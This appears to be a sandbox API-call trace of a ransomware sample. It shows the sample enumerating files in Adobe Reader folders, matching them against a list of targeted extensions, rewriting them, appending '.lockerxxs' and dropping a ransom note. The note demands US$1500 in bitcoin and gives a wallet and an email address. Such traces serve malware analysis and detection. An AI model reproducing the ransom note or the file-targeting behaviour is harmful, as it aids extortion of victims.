PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.dbf") returned 0 [0069.723] lstrlenA (lpString="*.dbf") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.myox") returned 0 [0069.723] lstrlenA (lpString="*.myox") returned 6 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.myo") returned 0 [0069.723] lstrlenA (lpString="*.myo") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qbw") returned 0 [0069.723] lstrlenA (lpString="*.qbw") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qbb") returned 0 [0069.723] lstrlenA (lpString="*.qbb") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qbm") returned 0 [0069.723] lstrlenA (lpString="*.qbm") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qbo") returned 0 [0069.723] lstrlenA (lpString="*.qbo") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qbx") returned 0 [0069.723] lstrlenA (lpString="*.qbx") returned 5 [0069.723] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qba") returned 0 [0069.724] lstrlenA (lpString="*.qba") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qby") returned 0 [0069.724] lstrlenA (lpString="*.qby") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qbj") returned 0 [0069.724] lstrlenA (lpString="*.qbj") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.ofx") returned 0 [0069.724] lstrlenA (lpString="*.ofx") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.qif") returned 0 [0069.724] lstrlenA (lpString="*.qif") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.mye") returned 0 [0069.724] lstrlenA (lpString="*.mye") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.mbox") returned 0 [0069.724] lstrlenA (lpString="*.mbox") returned 6 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.eml") returned 0 [0069.724] lstrlenA (lpString="*.eml") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.pst") returned 0 [0069.724] lstrlenA (lpString="*.pst") returned 5 [0069.724] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.ost") returned 0 [0069.725] lstrlenA (lpString="*.ost") returned 5 [0069.725] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.idx") returned 0 [0069.725] lstrlenA (lpString="*.idx") returned 5 [0069.725] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.dbx") returned 0 [0069.725] lstrlenA (lpString="*.dbx") returned 5 [0069.725] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.sql") returned 0 [0069.725] lstrlenA (lpString="*.sql") returned 5 [0069.725] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", pszSpec="*.mdb") returned 0 [0069.725] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" [0069.725] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" [0069.725] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html." [0069.725] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.lockerxxs" [0069.725] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.726] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xaedb [0069.726] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9d67db00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81efec40, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9d67db00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.726] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.726] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xaeb5, lpOverlapped=0x0) returned 1 [0069.730] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html") returned="license.html" [0069.730] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.731] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xaeb5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xaeb5, lpOverlapped=0x0) returned 1 [0069.731] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.731] CloseHandle (hObject=0x94) returned 1 [0069.733] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html.lockerxxs")) returned 1 [0069.734] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xaedb, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.734] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.734] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="FRA", cAlternateFileName="")) returned 1 [0069.734] lstrcmpA (lpString1=".", lpString2="FRA") returned -1 [0069.734] lstrcmpA (lpString1="..", lpString2="FRA") returned -1 [0069.734] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.734] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="FRA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA" [0069.734] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.736] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.736] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.736] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.736] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.736] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.736] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.736] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.736] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.737] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.737] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\*.*") returned="*.*" [0069.737] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" [0069.737] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\") returned="" [0069.737] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO DECRYPT FILES.txt" [0069.737] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\how to decrypt files.txt")) returned 0xffffffff [0069.737] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.738] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.738] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.740] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.740] CloseHandle (hObject=0x94) returned 1 [0069.740] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini" [0069.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.ems") returned 0 [0069.740] lstrlenA (lpString="*.ems") returned 5 [0069.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.db") returned 0 [0069.740] lstrlenA (lpString="*.db") returned 4 [0069.740] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.dbf") returned 0 [0069.741] lstrlenA (lpString="*.dbf") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.myox") returned 0 [0069.741] lstrlenA (lpString="*.myox") returned 6 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.myo") returned 0 [0069.741] lstrlenA (lpString="*.myo") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qbw") returned 0 [0069.741] lstrlenA (lpString="*.qbw") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qbb") returned 0 [0069.741] lstrlenA (lpString="*.qbb") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qbm") returned 0 [0069.741] lstrlenA (lpString="*.qbm") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qbo") returned 0 [0069.741] lstrlenA (lpString="*.qbo") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qbx") returned 0 [0069.741] lstrlenA (lpString="*.qbx") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qba") returned 0 [0069.741] lstrlenA (lpString="*.qba") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qby") returned 0 [0069.741] lstrlenA (lpString="*.qby") returned 5 [0069.741] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qbj") returned 0 [0069.742] lstrlenA (lpString="*.qbj") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.ofx") returned 0 [0069.742] lstrlenA (lpString="*.ofx") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.qif") returned 0 [0069.742] lstrlenA (lpString="*.qif") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mye") returned 0 [0069.742] lstrlenA (lpString="*.mye") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mbox") returned 0 [0069.742] lstrlenA (lpString="*.mbox") returned 6 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.eml") returned 0 [0069.742] lstrlenA (lpString="*.eml") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.pst") returned 0 [0069.742] lstrlenA (lpString="*.pst") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.ost") returned 0 [0069.742] lstrlenA (lpString="*.ost") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.idx") returned 0 [0069.742] lstrlenA (lpString="*.idx") returned 5 [0069.742] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.dbx") returned 0 [0069.742] lstrlenA (lpString="*.dbx") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.sql") returned 0 [0069.743] lstrlenA (lpString="*.sql") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mdb") returned 0 [0069.743] lstrlenA (lpString="*.mdb") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.fdb") returned 0 [0069.743] lstrlenA (lpString="*.fdb") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.wab") returned 0 [0069.743] lstrlenA (lpString="*.wab") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.dat") returned 0 [0069.743] lstrlenA (lpString="*.dat") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.txt") returned 0 [0069.743] lstrlenA (lpString="*.txt") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.743] lstrlenA (lpString="*.jpeg") returned 6 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.jpg") returned 0 [0069.743] lstrlenA (lpString="*.jpg") returned 5 [0069.743] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.png") returned 0 [0069.743] lstrlenA (lpString="*.png") returned 5 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.php") returned 0 [0069.744] lstrlenA (lpString="*.php") returned 5 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.cs") returned 0 [0069.744] lstrlenA (lpString="*.cs") returned 4 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.cpp") returned 0 [0069.744] lstrlenA (lpString="*.cpp") returned 5 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.rar") returned 0 [0069.744] lstrlenA (lpString="*.rar") returned 5 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.zip") returned 0 [0069.744] lstrlenA (lpString="*.zip") returned 5 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.html") returned 0 [0069.744] lstrlenA (lpString="*.html") returned 6 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.htm") returned 0 [0069.744] lstrlenA (lpString="*.htm") returned 5 [0069.744] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.745] lstrlenA (lpString="*.xlsx") returned 6 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.xls") returned 0 [0069.745] lstrlenA (lpString="*.xls") returned 5 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mp4") returned 0 [0069.745] lstrlenA (lpString="*.mp4") returned 5 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.ppt") returned 0 [0069.745] lstrlenA (lpString="*.ppt") returned 5 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.pptx") returned 0 [0069.745] lstrlenA (lpString="*.pptx") returned 6 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.doc") returned 0 [0069.745] lstrlenA (lpString="*.doc") returned 5 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.dot") returned 0 [0069.745] lstrlenA (lpString="*.dot") returned 5 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.docx") returned 0 [0069.745] lstrlenA (lpString="*.docx") returned 6 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.7z") returned 0 [0069.745] lstrlenA (lpString="*.7z") returned 4 [0069.745] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.tar") returned 0 [0069.745] lstrlenA (lpString="*.tar") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.bz2") returned 0 [0069.746] lstrlenA (lpString="*.bz2") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.gz") returned 0 [0069.746] lstrlenA (lpString="*.gz") returned 4 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.mkv") returned 0 [0069.746] lstrlenA (lpString="*.mkv") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.eml") returned 0 [0069.746] lstrlenA (lpString="*.eml") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.msg") returned 0 [0069.746] lstrlenA (lpString="*.msg") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\eula.ini", pszSpec="*.edb") returned 0 [0069.746] lstrlenA (lpString="*.edb") returned 5 [0069.746] PathMatchSpecA (pszFile="C:\\Program Files 